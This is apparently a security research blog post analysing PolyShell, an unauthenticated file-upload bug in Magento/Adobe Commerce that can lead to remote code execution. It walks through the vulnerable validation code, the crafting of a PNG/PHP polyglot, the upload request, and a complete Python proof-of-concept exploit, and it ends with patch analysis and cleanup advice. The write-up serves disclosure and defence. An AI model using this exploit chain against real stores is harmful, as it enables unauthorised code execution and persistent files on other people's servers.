March 26, 2026
Magento PolyShell – Unauthenticated File Upload to RCE in Magento (APSB25-94)
Magento remains one of the most popular e-commerce solutions in use on the internet, estimated to be running on more than 130,000 websites. It is also offered as an enterprise offering by Adobe under the name Adobe Commerce, which receives automatic patching.
On March 17th 2026, Sansec released new research dubbed PolyShell (APSB25-94), an unauthenticated unrestricted file upload vulnerability affecting every production version of Magento Open Source and Adobe Commerce up to 2.4.9-alpha2. In the right conditions, it results in unauthenticated remote code execution. In all conditions, it leaves an attacker-controlled file persistently on disk. This blog post explores the conditions necessary to exploit this vulnerability.
The Bug
In Sansec’s disclosure, they leave a few hints as to where the bug is. Their technical analysis states:
Magento’s REST API accepts file uploads as part of the cart item custom options. When a product option has type “file”, Magento processes an embedded
file_infoobject containing base64-encoded file data, a MIME type, and a filename. The file is written topub/media/custom_options/quote/on the server.
So we know we’re looking at the same REST API as the last bug. Also, we know that it’s a file_info field somewhere inside of cart custom options.
Searching for file_info within the Magento codebase leads to its definition within extension_attributes.xml, and the sink of ImageContentInterface. We can then trace our way back up the object chain via other types defined in lib/internal/Magento/Framework/Api/Data and app/code/Magento/*/extension_attributes.xml. This leads us up to CartItemInterface, which is accessible via GuestCartItemRepositoryInterface::save(CartItemInterface $cartItem).
Looking at app/code/Magento/Quote/etc/webapi.xml, we can access this interface by creating a POST request to the REST API endpoint /rest/default/V1/guest-carts/:cartId/items. All-together, a normal request looks something like this:
POST /rest/default/V1/guest-carts/cart_id/items HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/json
Content-Length: 418
{
"cart_item": {
"qty": 1,
"sku": "some_product",
"product_option": {
"extension_attributes": {
"custom_options": [
{
"option_id": "1",
"option_value": "file",
"extension_attributes": {
"file_info": {
"base64_encoded_data": "...",
"name": "some_file.png",
"type": "image/png"
}
}
}
]
}
}
}
}
This gives us something to play with, in order to figure out where the bug actually is. It just needs two easily obtainable bits of information to function. The first is cart_id in the URL, which can be generated with a simple POST /rest/default/V1/guest-carts. The second is the sku, which can be obtained either from scraping the site, or more easily via the GraphQL API:
POST /graphql HTTP/1.1
Host: example.com
Accept: application/json
Content-Type: application/json
Content-Length: 69
{"query":"{ products(search: "", pageSize: 1) { items { sku } } }"}
This will pull just the SKU of the first product it can find on the site and spit it out in a JSON blob.
A couple of other things to note are that the product doesn’t actually need to have file uploads configured on it. Any product will do. Related to this, the option_id doesn’t matter either. 12345 will work as well as 1 and 9999.
Back to figuring out where the bug is. Stepping through with a debugger first leads us to ImageProcessor::processImageContent.
class ImageProcessor implements ImageProcessorInterface
{
public function processImageContent($entityType, $imageContent)
{
if (!$this->contentValidator->isValid($imageContent)) { // [1]
throw new InputException(new Phrase('The image content is invalid. Verify the content and try again.'));
}
$fileContent = @base64_decode($imageContent->getBase64EncodedData(), true);
$tmpDirectory = $this->filesystem->getDirectoryWrite(DirectoryList::SYS_TMP);
$fileName = $this->getFileName($imageContent); // [2]
$tmpFileName = substr(md5(rand()), 0, 7) . '.' . $fileName;
$tmpDirectory->writeFile($tmpFileName, $fileContent);
$fileAttributes = [
'tmp_name' => $tmpDirectory->getAbsolutePath() . $tmpFileName,
'name' => $imageContent->getName()
];
try {
$this->uploader->processFileAttributes($fileAttributes);
$this->uploader->setFilesDispersion(true);
$this->uploader->setFilenamesCaseSensitivity(false);
$this->uploader->setAllowRenameFiles(true);
$destinationFolder = $entityType;
$this->uploader->save($this->mediaDirectory->getAbsolutePath($destinationFolder), $fileName); // [4]
} catch (Exception $e) {
$this->logger->critical($e);
}
return $this->uploader->getUploadedFileName();
}
private function getFileName($imageContent)
{
$fileName = $imageContent->getName();
if (!pathinfo($fileName, PATHINFO_EXTENSION)) { // [3]
if (!$imageContent->getType() || !$this->getMimeTypeExtension($imageContent->getType())) {
throw new InputException(new Phrase('Cannot recognize image extension.'));
}
$fileName .= '.' . $this->getMimeTypeExtension($imageContent->getType());
}
return $fileName;
}
}
This code:
- Checks if the image content is “valid”.
- Gets the file name.
- If the file name doesn’t have an extension, append one based on the image type.
- Move the uploaded file to destination folder.
Okay, so assuming we upload a “valid” image, we can specify whatever extension we like. What constitutes a “valid” image though? Digging into ImageContentValidator::isValid reveals that it doesn’t require much:
class ImageContentValidator implements ImageContentValidatorInterface
{
private $defaultMimeTypes = [
'image/jpg',
'image/jpeg',
'image/gif',
'image/png',
];
private $allowedMimeTypes;
public function __construct(
array $allowedMimeTypes = []
) {
$this->allowedMimeTypes = array_merge($this->defaultMimeTypes, $allowedMimeTypes);
}
public function isValid(ImageContentInterface $imageContent)
{
$fileContent = @base64_decode($imageContent->getBase64EncodedData(), true); // [1]
if (empty($fileContent)) {
throw new InputException(new Phrase('The image content must be valid base64 encoded data.'));
}
$imageProperties = @getimagesizefromstring($fileContent); // [2]
if (empty($imageProperties)) {
throw new InputException(new Phrase('The image content must be valid base64 encoded data.'));
}
$sourceMimeType = $imageProperties['mime']; // [3]
if ($sourceMimeType != $imageContent->getType() || !$this->isMimeTypeValid($sourceMimeType)) {
throw new InputException(new Phrase('The image MIME type is not valid or not supported.'));
}
if (!$this->isNameValid($imageContent->getName())) { // [4]
throw new InputException(new Phrase('Provided image name contains forbidden characters.'));
}
return true;
}
protected function isMimeTypeValid($mimeType)
{
return in_array($mimeType, $this->allowedMimeTypes);
}
protected function isNameValid($name)
{
// Cannot contain / ? * : " ; < > ( ) | { }
if ($name === null || !preg_match('/^[^\/?*:";<>()|{}\\]+$/', $name)) {
return false;
}
return true;
}
}
So as long as the image:
- is non-empty;
- has a size;
- has a valid MIME type; and
- has a file name that doesn’t contain blocked characters,
then the image is considered valid. Nowhere in there is a check for whether the file extension matches the MIME type. As the name of the vulnerability implies, we can upload a polyglot shell to meet these requirements.
Despite sounding fancy, PHP polyglots are incredibly easy to generate. A polyglot is just a file that is multiple valid file formats at once. The simplest ones can be created by just sticking GIF89a right before the PHP payload, which works because the GIF format is pretty easy to meet. Hand-waving a little here, but as long as a GIF starts with GIF89a and has some data after that, it’s a valid file. At least, it’s valid according to getimagesizefromstring, which is all that matters.
Another option is to embed the PHP into an image as extra metadata, like a Comment in a PNG file. Using a small 1×1 pixel image as the input keeps the payload small, and embedding the payload as a comment instead of overwriting data keeps the whole image valid.
exiftool
tiny.png
-Comment='<?php echo "RESULT:" . (2 * 1337); ?>'
-o - | base64 -w0
With a payload in-hand, the request now looks something like this:
{
"cart_item": {
"qty": 1,
"sku": "some_product",
"product_option": {
"extension_attributes": {
"custom_options": [
{
"option_id": "12345",
"option_value": "file",
"extension_attributes": {
"file_info": {
"base64_encoded_data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAALXRFWHRDb21tZW50ADw/cGhwIGVjaG8gIlJFU1VMVDoiIC4gKDIgKiAxMzM3KTsgPz75k3lQAAAAD0lEQVR4AQEEAPv/AHf66QRGAluYv6aFAAAAAElFTkSuQmCC",
"name": "some_file.php",
"type": "image/png"
}
}
}
]
}
}
}
}
This file then gets uploaded to pub/media/custom_options/quote/<FIRST_CHAR>/<SECOND_CHAR>/<FILE_NAME> (or in this case pub/media/custom_options/quote/s/o/some_file.php.
We can chain this all together into a Python script like so:
import requests
import base64
import random
import string
from subprocess import Popen, PIPE
BASE_URL = "http://example.com"
PAYLOAD = '<?php echo "RESULT:" . (2 * 1337); ?>'
EXPECTED_PAYLOAD_RESULT = str(2*1337)
# PAYLOAD_FILENAME = 'index.php'
PAYLOAD_FILENAME = ''.join(random.choices(string.ascii_lowercase+string.digits, k=10)) + '.php'
TINY_PNG = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAD0lEQVR4AQEEAPv/AHf66QRGAluYv6aFAAAAAElFTkSuQmCC"
JSON_HEADERS = {"Accept": "application/json", "Content-Type": "application/json"}
if __name__ == "__main__":
print("Building payload")
p = Popen(['exiftool', f"-Comment='{PAYLOAD}'", '-o', '-', '-'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
stdout, stderr = p.communicate(base64.b64decode(TINY_PNG))
assert stderr == b''
assert stdout != b''
b64_payload = base64.b64encode(stdout).decode()
session = requests.session()
# session.proxies = {'http': 'http://localhost:8080'}
# session.verify = False
print("Grabbing sku")
resp = session.post(BASE_URL + "/graphql", headers=JSON_HEADERS, json={"query": "{ products(search: "", pageSize: 1) { items { sku } } }"})
sku = resp.json()['data']['products']['items'][0]['sku']
print("Found sku", sku)
print("Creating cart")
resp = session.post(BASE_URL + "/rest/default/V1/guest-carts", headers=JSON_HEADERS)
cart_id = resp.json()
print("Created cart", cart_id)
print("Sending payload as", PAYLOAD_FILENAME)
json_body = {
"cart_item": {
"product_option": {
"extension_attributes": {
"custom_options": [
{
"extension_attributes": {
"file_info": {
"base64_encoded_data": b64_payload,
"name": PAYLOAD_FILENAME,
"type": "image/png"
}
},
"option_id": "12345",
"option_value": "file"
}
]
}
},
"qty": 1,
"sku": sku
}
}
resp = session.post(f"{BASE_URL}/rest/default/V1/guest-carts/{cart_id}/items", headers=JSON_HEADERS, json=json_body)
print("Checking potential upload locations")
TO_CHECK = [
f"/pub/media/custom_options/quote/{PAYLOAD_FILENAME[0]}/{PAYLOAD_FILENAME[1]}/{PAYLOAD_FILENAME}",
f"/media/custom_options/quote/{PAYLOAD_FILENAME[0]}/{PAYLOAD_FILENAME[1]}/{PAYLOAD_FILENAME}",
]
if PAYLOAD_FILENAME == 'index.php':
TO_CHECK.extend([
f"/pub/media/custom_options/quote/{PAYLOAD_FILENAME[0]}/{PAYLOAD_FILENAME[1]}",
f"/media/custom_options/quote/{PAYLOAD_FILENAME[0]}/{PAYLOAD_FILENAME[1]}",
])
for u in TO_CHECK:
resp = session.get(BASE_URL + u)
if resp.status_code == 200:
print("Found upload at", BASE_URL + u)
if EXPECTED_PAYLOAD_RESULT in resp.text:
print("Uploaded PHP file seems to be executable. RCE?!")
break
elif PAYLOAD in resp.text:
print("Uploaded file didn't seem to execute. Manually verify if XSS is possible")
else:
print("Web server responded with something we weren't expecting. Manually verify impact")
else:
print("Instance (probably) not vulnerable")
But this doesn’t work against every instance.
Where this bug fails
There’s some nuance to this vulnerability: the uploaded file is only accessible if the web server is misconfigured, otherwise attempting to access it will result in a 404. If you’re using Adobe’s suggested Nginx/Apache configurations then the files are inaccessible and not executable. However, any deviations from this configuration (or missing .htaccess files) may lead to instances being impacted.
On our test instance we were able to make the server vulnerable to stored XSS by deleting pub/media/custom_options/.htaccess, and vulnerable to RCE by deleting both that file as well as pub/media/.htaccess. This second file contains the line php_flag engine 0, disabling PHP files from being executed, while the first denies all file access.
Apart from the .htaccess files missing, an Apache instance could become vulnerable if AccessFileName is set to a different file name (like with AccessFileName ".config") and the existing .htaccess files are not being renamed to the new name.
For Nginx instances, Magento ships with an example configuration file that should block access to the folders and any uploaded PHP files. Deviations from this configuration that remove the deny all clauses locations affecting the pub/media/custom_options path can lead to XSS, and removing .php execution restrictions will lead to those files being executable.
It should also be noted that just because a Magento instance currently doesn’t have a vulnerable configuration doesn’t mean it won’t be vulnerable in future. So the administrators should check all uploaded files within pub/media/custom_options/ and see if there are any non-PNG/JPEG files uploaded. If the site’s Apache/Nginx configuration were to change in future then these files may become accessible to attackers.
Patch analysis
Unfortunately there’s no patch for stable version of Magento yet. A change to the upload handler was introduced in 2.4.9-alpha3 back in October, but this change was not applied to the other non-alpha versions.
In 2.4.9-alpha3, the new class MagentoCatalogModelProductOptionTypeFileImageContentProcessor has been introduced. In addition to the regular file content validation checks, there’s a new check for file extensions in validateBeforeSaveToTmp. This checks the file extension against a configured blocklist, which includes a variety of PHP-executable file types. This is then called from CustomOptionProcessor during the processing of custom options.
What to do in the interim
While you wait for the patch to drop for stable versions, it may be worth using a third-party patch such as https://github.com/markshust/magento-polyshell-patch/ in the interim. Also make sure that your Nginx/Apache configurations actually block access to files in pub/media/custom_options.
After a patch has been applied, check for any suspicious uploaded files with
find pub/media/custom_options/ -type f ! -name '.htaccess'
and delete anything without an expected image-like extension (e.g. .png, .jpg). Take care with .svg files since they can be used for XSS, and double check anything that looks or feels suspicious.
About Assetnote
Searchlight Cyber’s ASM solution, Assetnote, provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Customers receive security alerts and recommended mitigations simultaneously with any disclosures made to third-party vendors. Visit our ASM page to learn more about our platform and the research we do.
in this article
Book your demo: Identify cyber threats earlier– before they impact your business
Searchlight Cyber is used by security professionals and leading investigators to surface criminal activity and protect businesses. Book your demo to find out how Searchlight can:
Enhance your security with advanced automated dark web monitoring and investigation tools
Continuously monitor for threats, including ransomware groups targeting your organization
Prevent costly cyber incidents and meet cybersecurity compliance requirements and regulations